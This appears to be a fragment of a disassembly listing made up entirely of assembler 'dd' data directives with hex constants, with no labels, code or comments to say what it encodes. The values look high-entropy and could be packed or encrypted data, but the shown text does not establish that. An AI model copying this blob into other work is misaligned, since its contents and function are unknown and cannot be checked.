		dd 0FC035F15h, 1FCFB165h, 6F38A1F2h, 59A35261h,	0C2BD8A5Ch
		dd 3DA00018h, 1656445Fh, 25F045E8h, 1578A09Fh, 0DE0BB2h
		dd 8C0C0A04h, 0E36483F2h, 2BB37B0Eh, 211AA0D8h,	4DF016Ah
		dd 0D0CEFC53h, 0B33BC091h, 0F0088D7h, 8556205Ch, 0FC76EC96h
		dd 0E9A60075h, 0B9D6BDA1h, 3200CC53h, 30225912h, 27AF8C27h
		dd 0F8E8F1E2h, 13382945h, 6A57047Ah, 0B88035CAh, 0C3BBA1h
		dd 843A74E9h, 2508EAD9h, 0CB9DA600h, 0BC3ED14Eh, 766926CEh
		dd 95A800E5h, 0D6A3DFF8h, 0D3796706h, 6132F2h, 3A400CF3h
		dd 0CC36AAC3h, 0DAE0C203h, 0A023C887h, 3FDDBB8Ah, 0B88FA5F3h
		dd 0D500CC2Ah, 4047A798h, 0E4D4DB03h, 0F863F218h, 5C295D2h
		dd 3529F6AAh, 80E4AC69h, 78FF8805h, 3F3D02B0h, 0CAE5B5B9h
		dd 39EE2C60h, 20B7EF75h, 1018E828h, 41C92497h, 86C38010h
		dd 0AF70E9F6h, 0A2E3A801h, 0B10158DEh, 9226C540h, 9B57F94h
		dd 1F398BBFh, 0BCA30302h, 0C4FAC4E1h, 0A40093C6h, 0B39D38B4h
		dd 0C33BACh, 5B3CA821h,	0FA3F1E6Fh, 0F2ED77Ch, 0CD0F77E2h
		dd 0E5560131h, 44BD6EEh, 0D4B6DD80h, 20CE210h, 195934DCh
		dd 0A271309Fh, 10A87B28h, 39E77F30h, 9D5105h, 227C9FF9h
		dd 236D6883h, 0EF6E17E8h, 9C76C020h, 0F356951h,	0A6BD5F3Ah
		dd 9B6BE583h, 0CB7C7913h, 9E904500h, 0A03C445Bh, 4465CF5Ch
		dd 0E63EF6E3h, 2E4700C2h, 0E89DD1C4h, 75575868h, 0B631DB30h
		dd 5A00A5F9h, 9306FB43h, 0E807C359h, 1B21C0D8h,	0D09AA712h
		dd 0C4E67203h, 0E09F91A5h, 60EA1C5Bh, 17E580C7h, 0B40F01C6h
		dd 0A03EDCACh, 52D1F2EFh, 30647E63h, 0E588E3A9h, 8C0031FFh
		dd 55C425BDh, 53145AD9h, 0E7201C02h, 0EC505D98h, 8F3F6B88h
		dd 1C4B806Ch, 4AFAAB82h, 7659077Ah, 110CCCEh, 80D71994h
		dd 17655140h, 6ECA14h, 5DBEA1E6h, 30216104h, 2F475C00h
		dd 7898749Ah, 9E250010h, 43C7CFF1h, 0F8011179h,	672C5C48h
		dd 0B45180FBh, 0E6706283h, 0E97600A2h, 17FFC4DCh, 8E002932h
		dd 5632D53h, 7B0676Ch, 611C479Eh, 93FCB3D7h, 0DF8E4100h
		dd 5B014441h, 13E619E3h, 82BC0803h, 42195121h, 5918E005h
		dd 0C2723066h, 8EE614C8h, 0F07BEBE4h, 26DAB703h, 0CDEC5328h
		dd 1CDCC40h, 4D7F1Eh, 901DE439h, 7E9FA575h, 38281C3Ah
		dd 4F6900CDh, 1940FE1h,	34301492h, 970CBC2Ch, 768C731h
		dd 4B51EA60h, 70B8CB8h,	61823251h, 0DB43F03Ah, 0D0010DDAh
		dd 93FFCC3Fh, 0B449CA7Dh, 80DA1453h, 0A49F6A6Ch, 0FB262180h
		dd 49420E81h, 0A2180301h, 1826AE88h, 180B5742h,	839D141Ah
		dd 2A4E069Ch, 0AC6E58h,	681F638Dh, 0BBBDBE36h, 0EE118891h
		dd 11D7600Ah, 41F3C0BCh, 0FB210150h, 8F91E2h, 0D9422C6Dh
		dd 8623ABh, 4B77B40Fh, 49C887Eh, 0BB351003h, 9025FBB8h
		dd 7682E0h, 9D5B05F3h, 0ECE191AFh, 0A6731900h, 0A7206CBDh
		dd 4055001Bh, 0C730B59Eh, 0C3078D81h, 0DF50C65Dh, 2B783D70h
		dd 77B607FDh, 0A0DCB3F3h, 0BAA77F38h, 3709CB00h, 6C6514C1h
		dd 7B3A00AAh, 0B2DDFBF2h, 7009056h, 7234BB9Ch, 3B4D8BDh
		dd 2306C8E0h, 0E9E0A70Bh, 9A3085F3h, 1684581Bh,	3CF9035h
		dd 86402F89h, 8301F9Bh,	2DF0213Eh, 25EC069Fh, 5EA3633Fh
		dd 6B82CD00h, 74EBB485h, 7628C0F8h, 0D64552D3h,	0A6385F0Fh
		dd 0EFE9391Bh, 8B242180h, 9962C146h, 9822C528h,	7E93F600h
		dd 0E0CFB641h, 0B538026Dh, 2E5B1ADAh, 828E30B5h, 0C075FEh
		dd 0A2A1C49Eh, 9B5CB2h,	4CBC02CDh, 10535F38h, 0BB05D67Ah
		dd 4560EC77h, 5240885Ch, 1A057ADCh, 0E220C0F9h,	896B181h
		dd 241CB0C0h, 30F0A04Dh, 0C179FA74h, 5300683Eh,	8FBC169Ch
		dd 420E07Dh, 78C2819Dh,	0FD9C80BAh, 0D2073715h,	3403F7FAh
		dd 681B6440h, 1817059h,	279A86B3h, 0D19E3E8Bh, 51218A82h
		dd 0A900FC61h, 7D08F6F9h, 175D3A29h, 0ED64FC80h, 75B6862h
		dd 0F300AA76h, 937B5779h, 5D854FAh, 0EED047C2h,	6071C0FCh
		dd 290CAA65h, 88241D3Bh, 6044314h, 0B3D38162h, 87448980h
		dd 816A4810h, 0B5AAFD00h, 0D27AC22Bh, 0B78203BCh, 0FB04D20h
		dd 8E1D54D9h, 4707A699h, 0FBC043C8h, 0C0990671h, 75D30249h
		dd 581D234Ah, 3FC09EC5h, 50719074h, 60ABF057h, 0CBB5A01Fh
		dd 0F000375Eh, 0B7106533h, 31BC21Eh, 0D1BE9208h, 5078FE30h
		dd 5D164898h, 2D03B7ADh, 18FA7F34h, 20652208h, 5C00EC3Ah
		dd 9E355EAEh, 302E3802h, 0A6C06FDEh, 0B760721Fh, 1A3ABEA8h
		dd 0CD18C336h, 41003053h, 0D369827Fh, 0B05F342Eh, 0F2FA00CAh
		dd 0CB8D2C21h, 0AE6012DAh
		dd 0F027FC28h, 0C89000E0h, 0F1BC4A98h, 740481A6h, 0B036317Fh
		dd 0FDADA8C0h, 7B100CEFh, 0D439D517h, 406C100h,	874FDB37h
		dd 0F3320E42h, 390119BAh, 3C9F0A65h, 9B79038Eh,	0B11BF896h
		dd 419CC113h, 5BF500C4h, 0FE949F57h, 8E74133h, 72101B0h
		dd 76B5F5D9h, 0ABD05011h, 0D500785Dh, 0E59B12C8h, 1C7E8E1h
		dd 0CAFAA82Bh, 0C0604DA6h, 0E6142107h, 4090D5D9h, 28CCCBCh
		dd 0B7AC5D04h, 2519C802h, 5CF13F10h, 52A3350Fh,	206BA0E4h
		dd 28BB952Ch, 1CEC3E07h, 40829E56h, 0C61D2439h,	18C0412Eh
		dd 0CBB24BD0h, 1010604Eh, 532B9E5Ah, 105C3A49h,	60C003EEh
		dd 6EB3D981h, 6F229A43h, 81684A00h, 4FEFE792h, 0D9CB0260h
		dd 0BCB9AB5Eh, 19C0F89Ah, 0D2C987Fh, 790158C2h,	388BEA7Ch
		dd 59E4EC8h, 0D954B2E7h, 58188603h, 837D3100h, 0B70A802Eh
		dd 5C8F499Ah, 8AFAC20Eh, 8458A02Ch, 0B25046F6h,	3B18B5A0h
		dd 89184C7Ch, 7A631508h, 7DC81Ch, 0A704BDA9h, 9EC11E8Ch
		dd 13087466h, 0E1E80021h, 115783BEh, 0FD003650h, 84E7EC1Dh
		dd 7671FA5Eh, 0D47D31A6h, 0E396B768h, 3A43949Ah, 0E62B57C0h
		dd 0BC0C087Fh, 19B6CF9Ch, 9ABF0CFCh, 0B3D0FF7Dh, 22A3AB14h
		dd 137B3EB8h, 7504FC83h, 0B88B9073h, 6DC026C8h,	215BF66h
		dd 8AD13BF8h, 944411CCh, 29504E00h, 0CE63B5BCh,	12E83Fh
		dd 0C7080B2h, 9BEB81B1h, 0F9F81800h, 610871BAh,	880909Eh
		dd 8A311C19h, 0F280C711h, 0EF5765F5h, 0FDC8448Ch, 4DF5CA01h
		dd 5EC428DEh, 4BD0D60h,	3A5657A2h, 9D2C8050h, 1A49BBB3h
		dd 4B8E0A38h, 905E830h,	26E82ACEh, 5EBCF724h, 0EF00AC46h
		dd 83ED107Ah, 5A149EDCh, 9D89D25h, 38440DDDh, 9298060Ch
		dd 873E005Ch, 0F16770C4h, 8303C028h, 0F3DEDCA4h, 5B20E8CAh
		dd 0CBBE2B95h, 5CED01CCh, 18FAB0C3h, 0F23C882Ch, 3EBE5C01h
		dd 0E40110F9h, 16B2C020h, 3A2438D2h, 16F234Ch, 0A76348DEh
		dd 1125E80Ch, 5028FD02h, 489F2E53h, 0AD903474h,	8A484054h
		dd 6115845Ah, 18A8BE17h, 4080B64h, 0E91D01FEh, 6AABD18Ah
		dd 88627Ah, 6299EF66h, 3CE7F7h,	137F3951h, 72BF8779h, 0BAD91B00h
		dd 1DDA2022h, 0D6D0C03Dh, 88466B5h, 68595C0Eh, 90DD5EDBh
		dd 0BE67EC0h, 0C9BB127Bh, 79836381h, 0C2B31C88h, 25A6DFB9h
		dd 0E4C840D4h, 9E540409h, 0D51C2290h, 0B0C00DD0h, 0E5F7A6C4h
		dd 936706F3h, 0B1214829h, 53AD58h, 0AE36DAFAh, 1DBFB9Ah
		dd 0DC0EB1C7h, 35FF0733h, 0B3208040h, 81CF849Ah, 24C899C6h
		dd 8F6A1124h, 0A70361C2h, 320C1FC4h, 0DAE188h, 13D157BDh
		dd 8AB478AEh, 0E0F89C03h, 4BCB099h, 2652B9E9h, 93808032h
		dd 2B401ECBh, 7F8A17D0h, 0EA20212Dh, 81CC0D03h,	8EB324F5h
		dd 6C767018h, 0B1018100h, 7996CC56h, 4ABB1D0Dh,	0F57041F0h
		dd 30E16186h, 0A88B805Ch, 9082CE53h, 0B6681B24h, 0C8581988h
		dd 0C0CE8804h, 0B0C25D0Ah, 0E0481258h, 25CEF39h, 0E3DFE27Ah
		dd 9F8F423Ch, 3F33B302h, 8490F044h, 7E177F20h, 558A09DDh
		dd 6A0CFBBCh, 1D1C3A49h, 12C0F5D7h, 79159A8Ch, 0F65A00E1h
		dd 6AFA884Fh, 3033A0F8h, 80D93132h, 3C8CC26Dh, 0A8AB934h
		dd 0B2ECFEF0h, 14C95060h, 0F26C1036h, 0F6C93DFDh, 0FEB3DA04h
		dd 5C0CCCA0h, 45211C00h, 0C63C014Fh, 0E8D3082h,	89413DECh
		dd 97FF9D3Fh, 0D021644Eh, 3D113671h, 0B4431710h, 5EA10003h
		dd 0BD45543Fh, 1E590C31h, 0B7057C08h, 37E3CB6Fh, 0AB5680BFh
		dd 6192067h, 69A8A7FAh,	591F83F0h, 0B4027C1Eh, 0D7F0CE8Bh
		dd 766D70C8h, 0BDAF0F86h, 88D1A702h, 0C7DA8016h, 233873BEh
		dd 6DE5201h, 25C3B3B2h,	0E02BC442h, 0BA6EB5B4h,	6810ED9Ch
		dd 0EC00DD35h, 2AFA3D12h, 5D8D407h, 0C811245Ch,	0C61482A2h
		dd 5AC4F531h, 22F74657h, 0CDFA24ADh, 8BBE0145h,	0D0F2021Dh
		dd 94A82F30h, 6E00B648h, 359B6AE4h, 0ED47FAh, 0C3E02017h
		dd 255CACC6h, 59982904h, 64A48A65h, 69B90199h, 3E2BC804h
		dd 0FDF18018h, 0C68987E2h, 9C76281Fh, 0B71118A8h, 0B6DA2028h
		dd 64C8B505h, 78CBBD4Bh, 9FC087C8h, 0C0C01759h,	45321AD9h
		dd 4300E8C5h, 687F05FFh, 136CBAC9h, 20A99870h, 0E784EFB0h
		dd 3188649h, 0B2FD255Eh, 0C03BEABBh, 80412390h,	209627F7h
		dd 6086465Eh, 0A6F23F7Ch, 0A81E5834h, 18CC9E8h,	0C1D6AB51h
		dd 72069231h, 0A25D07C8h, 0AE55F313h, 6C20C013h, 0FEFE098Bh
		dd 0D9430727h, 0DC7E985Bh, 56175951h, 7404FD12h, 80D19553h
		dd 68D8420Dh, 0A7BF1BFAh, 0F02B61A9h, 6501C4EBh, 66B3F481h
		dd 88A07848h, 81766D75h, 23DCBD05h, 0A4CEA80Bh,	2DC02E88h
		dd 5D263BB0h, 84221078h, 99AFF000h, 7B9D4476h, 323A2C73h
		dd 0AA14008Ch, 0DD916064h, 2875F95Ch, 0DA21B41Ah, 17A4A012h
		dd 39D75766h, 0F5D1E498h, 0C0DD9700h, 0C53A2B76h, 0D7670435h
		dd 80236E52h, 4C83B36Ch, 9CFB4326h, 0C379B429h,	0F200ED18h
		dd 29245130h, 7136C6DBh, 0E893602Eh, 9F1A1F1Eh,	5B628C92h
		dd 48267939h, 3FA35EA0h, 0FD803105h, 4B6AF88Ch,	409C3C29h
		dd 12F5E747h, 576CB0C0h, 0C0945027h, 3048CCDh, 4AB7A95Dh
		dd 3E202062h, 2725CF8h,	11157B32h, 68E0AEF6h, 76099029h
		dd 80EC6ADBh, 4F32C748h, 401F4CAFh, 0CC4CD849h,	8C16E8h
		dd 31FA3785h, 0D9E627D8h, 0D084E702h, 6BA92AFBh, 3630B1ACh
		dd 218EA183h, 97E8BD68h, 3B0095EDh, 5FAD344Dh, 51CB9AD7h
		dd 0E1C8D420h, 8CC10523h, 0DBD2E98Ah, 57C6C0F4h, 19C770h
		dd 0E1762971h, 865901E4h, 68346330h, 4ED4E59Dh,	0D6F440A7h
		dd 31455DC0h, 28BDB92Ch, 608E2389h, 90809B44h, 689A01B0h
		dd 982064F9h, 0D906D8C1h, 3B54178Ah, 0B20F05C6h, 9C00DC7Fh
		dd 338E5963h, 0A9A0C537h, 88088E72h, 1EAEC0AAh,	43E81C81h
		dd 980194Ch, 0A1A69AA4h, 0B3789930h, 0A8BF3186h, 1D389136h
		dd 3023B0C6h, 16AC32E5h, 30134129h, 0D90F5B00h,	99B5D61Ch
		dd 0A24288CEh, 85D2B710h, 7C30888h, 8882F4F2h, 444067DBh
		dd 0EA71606Ch, 5F280F86h, 0CCE1FDAFh, 8ED9B699h, 241F04B1h
		dd 0B480D672h, 8195E7Ch, 283E29ABh, 0FB1DFD80h,	0DF895640h
		dd 412B03F1h, 207B09A5h, 0F4B36EF0h, 0EFBDAE01h, 6438A4A6h
		dd 0BEC6DDB0h, 72D2C000h, 0B20BE9CFh, 28689237h, 13C572Bh
		dd 0F1DCF69Bh, 297F99FBh, 0D2141E4Ch, 0D4044F01h, 39803453h
		dd 72292DC3h, 3C00B822h, 31BAA3CCh, 0B2DECA1Dh,	0D1809134h
		dd 16B818ADh, 101FA6BAh, 0FF0B9036h, 70AA953Dh,	184674F0h
		dd 0CDAB0402h, 68E0F24Ah, 1500595Ch, 60EC4F98h,	3BFDBADEh
		dd 0A14A93Bh, 0D8235CA7h, 60F5D301h, 0C518E757h, 73CBA488h
		dd 0BC1507F5h, 909A8A01h, 0CA578C7Eh, 0AD89EF25h, 4DE0D81Ch
		dd 0D5AC80B5h, 1C9B9D24h, 0B0903092h, 0A7279DCh, 0D1EE76B8h
		dd 6BC340BCh, 194A10E2h, 0EFCE1443h, 3C00F760h,	0B0AAABF0h
		dd 24E4BACh, 58AE0914h,	0A05914C2h, 0A418B7D1h,	7F873917h
		dd 73E8B000h, 268464B5h, 1228B660h, 0D3900934h,	159E4091h
		dd 3DDAC004h, 0A9F7A03h, 110D804h, 20B38807h, 823026B2h
		dd 0B9DA00DDh, 67D0B8EDh, 0F41FBAC4h, 0EE437916h, 48331E10h
		dd 1A187831h, 0E0D9A067h, 253F2A2Dh, 541C06C0h,	0E33BADC0h
		dd 0E38B05Fh, 0E4135CBBh, 596AB980h, 28B1B279h,	0DE183FF1h
		dd 12F46000h, 6F3A827Ch, 8BFD00BBh, 0D22E0EF7h,	561F5A24h
		dd 0ABB516Ah
		dd 0BCD71218h, 16ECF481h, 7EF437D8h, 0CB2D1671h, 847800A8h
		dd 85122A23h, 0A655909h, 5E1818CDh, 0A73D1F41h,	12F51263h
		dd 0C5B80804h, 67D1F4C7h, 0C73FF57h, 0F5CCFB80h, 81004A2Bh
		dd 795F77FDh, 0E85912h,	1C202D9Eh, 5D7FD602h, 8CE5822Ch
		dd 0E607A6C1h, 0B713A83Ch, 234C3A86h, 6E570419h, 46538011h
		dd 0D5295ABBh, 902DD4A6h, 0B15908h, 5715E4DFh, 0E21E8CA9h
		dd 0B099D312h, 0EE91B891h, 30808863h, 0BF413148h, 1707980h
		dd 15C59B74h, 74071DCCh, 5316B554h, 20C0969Eh, 6F8AFA5Bh
		dd 0F380E989h, 77107450h, 0E52AF913h, 306C4832h, 914BEE0h
		dd 887874A7h, 0D8DB800Ah, 2658C7BDh, 0C253605h,	0B0E067B7h
		dd 72452CF9h, 18A83Ch, 0A9B5EDE0h, 0CFA6CB5Ah, 1CB65526h
		dd 9A7D5902h, 0B0CC9BAh, 0DC60424h, 7E7223B0h, 0B953C040h
		dd 925A0092h, 2623042Eh, 1E821000h, 6E2C39h, 7F552FDCh
		dd 0B61C5378h, 0F0C7AF24h, 388BE213h, 0C3C332C8h, 4F15A022h
		dd 0BEF04C78h, 0CBB34103h, 580518EAh, 0FF6F5D42h, 8CED48C8h
		dd 0F2816B05h, 9CCE96B3h, 81737701h, 0E8FBC50Dh, 62025C3Fh
		dd 11FCB535h, 3A1448B1h, 4479AFh, 8848BB42h, 4EA1984Ah
		dd 0E88BD51Eh, 61544500h, 0FB962BB6h, 6601002Ch, 53206507h
		dd 43945028h, 0A500C6C9h, 0F8307EB7h, 0FBAD9Bh,	0BC02B886h
		dd 403E3CFh, 8993761h, 6820BE7Ch, 598882Ah, 737F1A00h
		dd 0D225EE74h, 6AD43BA4h, 0D8D77C80h, 0ABFBE261h, 50A67894h
		dd 0B6C2FF05h, 0BEB5D844h, 31F97CC3h, 1719B161h, 0B0E983AFh
		dd 0F8EE5150h, 0F6446Bh, 421D3926h, 13127B17h, 90D34A27h
		dd 0FAF19298h, 278A0904h, 0A89053EBh, 0D09D780Ch, 0EBB00D8h
		dd 5A7FB7EAh, 63735976h, 985C9E00h, 0F45BCAB9h,	77B3711Bh
		dd 25CB42Fh, 38D28CAAh,	465CE428h, 76A10382h, 0F0CE74DFh
		dd 5F531226h, 24813B6h,	0F0375F70h, 60F8DB27h, 5761F5D6h
		dd 0CC2CCF5Fh, 0BF5F801h, 0B78469E0h, 39927049h, 79E2AC14h
		dd 0CFAA16C9h, 0E82490DDh, 0CA26D0B9h, 0CC1C2C56h, 78B78246h
		dd 0AC5E4F69h, 0F1D3078Fh, 0BAA230B1h, 11908FC7h, 0D6816780h
		dd 448C76B3h, 6F004B83h, 0A8CE4581h, 0B5CA74Dh,	6B8E595Fh
		dd 0A8820E0h, 0C90EFEE4h, 0E2B777E8h, 6ADC3BB5h, 0E0D44D5Ch
		dd 3170817Dh, 0F58FE201h, 958E8DF9h, 1ACB9020h,	0F05A21E6h
		dd 0CFCD3C40h, 5653F805h, 0D8214CC2h, 0C00005ABh, 0B6265BB8h
		dd 1100747Eh, 0CBB53F1Dh, 20C86366h, 7D98EA65h,	951E23h
		dd 2DA41B14h, 1DCD0415h, 904B29B9h, 5AEF82ACh, 0F492000h
		dd 0E0F470FBh, 411CA67Eh, 2CE9C12Fh, 0BF5888h, 0BCD6FFF6h
		dd 5664420h, 61F1D0Ah, 37E001BDh, 96715E26h, 70082440h
		dd 6F7E930Bh, 5CE09F8h,	4EB41053h, 210F00C5h, 0B255B8ADh
		dd 80F9D2D3h, 3A9EEDF8h, 1FEA8F0Bh, 27D9BA10h, 6C91F897h
		dd 0E6153380h, 8870AB79h, 0B38F7204h, 0ECA82AD3h, 0B15B5400h
		dd 4D73707Fh, 0AC3BBB05h, 0E881D812h, 3C97B7h, 0B62AB13Eh
		dd 62643684h, 485D861h,	0E2F79080h, 0EADB71D7h,	7CF3F0C4h
		dd 837CFAh, 0B49BBFE5h,	0BE96BC87h, 3FC4C500h, 7608D016h
		dd 0B8CC004Ah, 0B0D7E063h, 0FE13DB88h, 4617FAD4h, 3488D8CBh
		dd 0F6003C0h, 0E4BD003Ah, 0AE595240h, 449048A5h, 3D7620A1h
		dd 9F710058h, 0CCE4F9A2h, 7A23127Fh, 0A71C4070h, 36563C37h
		dd 0E0C2A892h, 40C5CBC7h, 6E01B35Ch, 83A4F8FDh,	7EACAD3Bh
		dd 0C8CA933Ah, 8247978h, 0BA086CD4h, 0A1F7821Dh, 209EF16Ah
		dd 25DB8423h, 84914097h, 28B7E889h, 0F468EB80h,	145CDFD8h
		dd 0F09CD507h, 0D4139C90h, 0CEB4889Bh, 0C08135EAh, 29840AF1h
		dd 0AC87F4B2h, 91C68464h, 0C2AC60B9h, 89C67200h, 3B6CA0FBh
		dd 9241981Dh, 0C41097F8h, 2103E529h, 0EE5CF389h, 0E2F9D01Ch
		dd 0A8F20022h, 0F46D59DAh, 0C343A2Bh, 78B1A1B3h, 0B0F520D2h
		dd 0D13C480h, 0C4007F73h, 0D830A060h, 43AB2593h, 0BDD06484h
		dd 8C6CA8E0h, 3F9FE10Fh, 59003EA8h, 0B60CA9CDh,	0C019133Bh
		dd 886C8ED5h, 0AB73C019h, 4009A38Ah, 5A11E3C8h,	217880h
		dd 1ADE86D6h, 5EBAE1D4h, 5000DFF2h, 80D3BDB0h, 59E909D7h
		dd 0D0B99CF3h, 232A8653h, 0FE298818h, 0C35924F6h, 97003A18h
		dd 9FF47DB2h, 0EF179B85h, 2321A4h, 7A035670h, 6800054Eh
		dd 0BABB8429h, 0EFA966Bh, 42529CDCh, 0C4D6CE60h, 0A9735C7Fh
		dd 0B5C80A1Ch, 18A40D1Fh, 91288208h, 356F1427h,	0E2CB00CCh
		dd 65295094h, 54092B5h,	0DDA1905Ch, 0D0BD12B6h,	0A69E57CCh
		dd 8B0148h, 6C24AB55h, 395B983h, 0AA43D3B8h, 0B90EBD12h
		dd 8073C33Ah, 5A227537h, 0C22E1DFh, 0D568D800h,	0A63C22Eh
		dd 6F216C98h, 0BDAD8F76h, 62ACA744h, 0C5DC203Fh, 2A0001BEh
		dd 0C4F687Eh, 1FBFDA21h, 49955D84h, 7010B710h, 0B6268B51h
		dd 20056463h, 38C1915Bh, 0CC849968h, 0BC38C569h, 8C6CE8E8h
		dd 8F12EC00h, 538B2C96h, 95E80963h, 9420FBB3h, 0F6367354h
		dd 82DC8995h, 0E1CDC820h, 20D49C38h, 719E305Ah,	26BA6581h
		dd 6C2CC8A4h, 0CA130CFDh, 5D061460h, 0F2B72FAEh, 3D001416h
		dd 6D75CEBh, 12726C37h,	0B68A117Dh, 0B70B0CCh, 0D5C901A7h
		dd 8EF762A8h, 1ECC6052h, 0CCDC234Bh, 54158275h,	7D802511h
		dd 0BF8D1731h, 0C205FB00h, 0FA3AB9B0h, 26E41288h, 0AE14D003h
		dd 0BF24DD95h, 0CE8018DAh, 4AEAAB98h, 0CC0A0460h, 9258FB1Dh
		dd 94408FA8h, 8413B924h, 24D01108h, 2AFF44Fh, 4C2BE5BDh
		dd 985CB24Ah, 699D038Ch, 903B3850h, 79CB007Ah, 0E7F1958Bh
		dd 5A484084h, 249A4A50h, 4D2E17C0h, 27152AD5h, 802D53h
		dd 0DB7AFCB6h, 0EDE064h, 0C3626E1Dh, 59BC1FB9h,	5DA9E804h
		dd 6B4F3306h, 89BD2740h, 5B028848h, 0F5ECE08h, 0D178F9F0h
		dd 21F18ACh, 0C382097Ch, 68832676h, 5D901DDAh, 6F1D777Eh
		dd 0C8441E71h, 28B3FDF3h, 0C830C9A2h, 21DEAF6h,	0EFA6ABFAh
		dd 0C47C9F69h, 0F82F8992h, 0A2013423h, 1A27D6FDh, 1241EC60h
		dd 2F284E8h, 0D27BEAACh, 0D641CC7h, 73A4C660h, 4A23B70Ch
		dd 13A64897h, 0B4C19DE7h, 8343C298h, 33300DE2h,	98E9702Ah
		dd 25631338h, 0F020E61Dh, 0FF3A74h, 0EF194E95h,	930E1584h
		dd 0D14C5905h, 0ACD0C77Dh, 2E183ECh, 0D6A72AF9h, 5C7671B5h
		dd 0C8E9400Eh, 58E82382h, 0B100C436h, 2A1FAC40h, 88D43FB7h
		dd 19D7E8Ah, 2DCF26B4h,	0B52C1C2Ch, 9A868E8h, 35B13Dh
		dd 2B810A11h, 0D0B80C18h, 0D4A899D2h, 0D6401FB7h, 0D8BE2692h
		dd 5CF0C044h, 0E221B7A8h, 2191C6h, 585CED73h, 56D82886h
		dd 0FD02A0F6h, 6AA67E3h, 6F007CC4h, 0DE4DD01Ch,	340E01Dh
		dd 8A7FF19h, 9DC10AF3h,	64402F30h, 60137DCFh, 0B6DC056Fh
		dd 46542AA3h, 0D10B79A8h, 0C66ACE03h, 88C32FDDh, 0ABA7A3h
		dd 0F4327F8Dh, 88501EDh, 4671B727h, 9F726ECh, 7A690844h
		dd 6BEC360h, 2CDC5BA7h,	0DB00DEC0h, 6256A2BDh, 0E869C99h
		dd 2E27F50h, 5B06D9D8h,	0E4E82E00h, 0B74EA1A6h,	706F628Ch
		dd 0BC7E04F8h, 9A2BA26Fh, 0E9B8D497h, 0F27084FBh, 132175F9h
		dd 0E364B7E8h, 3120B224h, 0CBF03EC3h, 0BB640493h, 90DA1F24h
		dd 0A223B108h, 8614A048h, 10C99A93h, 6366A8Bh, 0BB27B65Dh
		dd 59730418h, 0EC03378Eh, 8B207B38h, 2DDD2605h,	0A5251F60h
		dd 52E470E8h, 6507A202h, 0DFF59BD5h, 391C7E60h,	0EBDF3E01h
		dd 2D42B746h, 3EE87470h
		dd 60D8DAB6h, 52B9D600h, 462AD4Eh, 30A800B5h, 993119DBh
		dd 18ADD1B4h, 20072CA5h, 8654C00Ch, 0C8C9226Fh,	91E4B51Fh
		dd 292280C6h, 3A100D93h, 0CB933EAFh, 4250F0BAh,	0D2187404h
		dd 0A0A1D4ACh, 0B0B8B46Ch, 56F0178Ch, 0B07D1A9Eh, 2DC705Ch
		dd 1D04197h, 0C0E1B3D3h, 80547234h, 7D947F51h, 57B83D38h
		dd 0C2B15D80h, 3EEC1D2Dh, 0C912277Eh, 0DA055C56h, 38AD20CEh
		dd 0D200BFFCh, 8C6DC58Eh, 101C7C24h, 0A42C97AEh, 24F29C53h
		dd 0B930ADE2h, 5F034ED6h, 35F94074h, 183801DEh,	0C3FAC00h
		dd 32E07793h, 4C9B0472h, 0C4FCE5ADh, 0B758C124h, 92D4346Bh
		dd 8048B597h, 9DC90DFh,	0B24944D9h, 59F8C9A4h, 18B77174h
		dd 35860063h, 51982BFDh, 330537D3h, 0F2C2E487h,	91F16090h
		dd 421B0013h, 0E72FEB51h, 7C910938h, 0AD09BA92h, 47C1435h
		dd 613E9EDBh, 8200B484h, 0FB814B71h, 3A3E1021h,	822324h
		dd 97ADD60Bh, 28138E93h, 0CD194BD0h, 90385F58h,	0D9C5E300h
		dd 565C351Ah, 0B4985312h, 382024E5h, 12741D7h, 0B5C88h
		dd 0E47F4E64h, 0CF27Ch,	49D0645h, 0EF0E4B63h, 8FE57904h
		dd 80F8F607h, 0B0D45B13h, 28414628h, 2B0704FCh,	9CC57E7h
		dd 0D017F46Bh, 0FD8EC891h, 0D840AE6Fh, 6BD063C7h, 0E016FA77h
		dd 0A8F25EE4h, 0F3C44301h, 0E58612C7h, 0F1DAE194h, 3F65FC06h
		dd 0DD093779h, 0DBAEF30Dh, 0FC1D7040h, 9E8734B9h, 58E1AA5Bh
		dd 1C0CBB8Dh, 0D739CF11h, 0C8508A96h, 0E7B0C018h, 400BB94Bh
		dd 9790975Bh, 8026912Ch, 0FCAAE7CEh, 5FB0445h, 0B4105BADh
		dd 0A000B748h, 4CCB7DC8h, 0B0D6AEC9h, 0D4475450h, 92232751h
		dd 0F1845041h, 4D4432FBh, 0FDB890h, 13A5E495h, 2AB18479h
		dd 105F7F01h, 278FA61Dh, 9E085868h, 5026FA34h, 745E6C05h
		dd 2123D43Ah, 801E880Fh, 9829A8E5h, 7FB10014h, 5F942B5Eh
		dd 0D60F4059h, 25178C7h, 0CBC6AFB3h, 0C4C9E058h, 0D2601DDFh
		dd 0D1DCA9B5h, 0E51813h, 6833477Ah, 2EC8BFDh, 7D986912h
		dd 0A9B6B830h, 0E2658032h, 6CCBF34Bh, 42C0C688h, 57C5C27h
		dd 99A7ED55h, 5330017Eh, 3575AEh, 604FABB3h, 0B6DBE0C3h
		dd 4B6E61Eh, 17905162h,	0E2802191h, 526CE384h, 12019091h
		dd 6AE4A918h, 49FB80FAh, 0F6EADFh, 0DB99F079h, 0CEC88F8Dh
		dd 6EB48B00h, 2432929Dh, 0F08A0069h, 0F5A6FAB9h, 0F8B4AE2Fh
		dd 0E0EE0F0Fh, 3F5CA8E4h, 3481165Ah, 498860E2h,	7D4AB23Bh
		dd 2B2E042Dh, 92E2364h,	0D41DF94Ah, 1833F91h, 0BCC03EAEh
		dd 0D000EDD1h, 0FF539B77h, 0E4DE8241h, 0B32904E3h, 0A904C383h
		dd 2567E88Ch, 2CC88FD5h, 0D6601023h, 0CD0E321h,	0B1FE1Ch
		dd 16F61CFh, 0FDFEAC15h, 590F1D12h, 83A2D8B3h, 0B893630h
		dd 92B46BC8h, 97000464h, 4DDF2CFEh, 0A575AAh, 18DC42C9h
		dd 0D14C8155h, 440795Eh, 47E3D43Ch, 0AB30008Ah,	52D7B72Ch
		dd 3300469Ah, 1E7EE5D8h, 1B9DC65h, 1195680Bh, 39BEB5A9h
		dd 55B8CCh, 76230A3Ch, 0B6F012D9h, 5BAA5209h, 5BD0F83Ah
		dd 0A66C95E7h, 726DB08Ch, 88F90FB1h, 10E453BCh,	4DF440C8h
		dd 0CA6B3h, 438FE20Fh, 77609947h, 10D8C254h, 4F0C970h
		dd 4373B1C0h, 51E385Ah,	0BC541702h, 9E1BC149h, 5E046C77h
		dd 0A023142Fh, 8C630500h, 5B998AE2h, 0DAD4D083h, 0EF162B9Eh
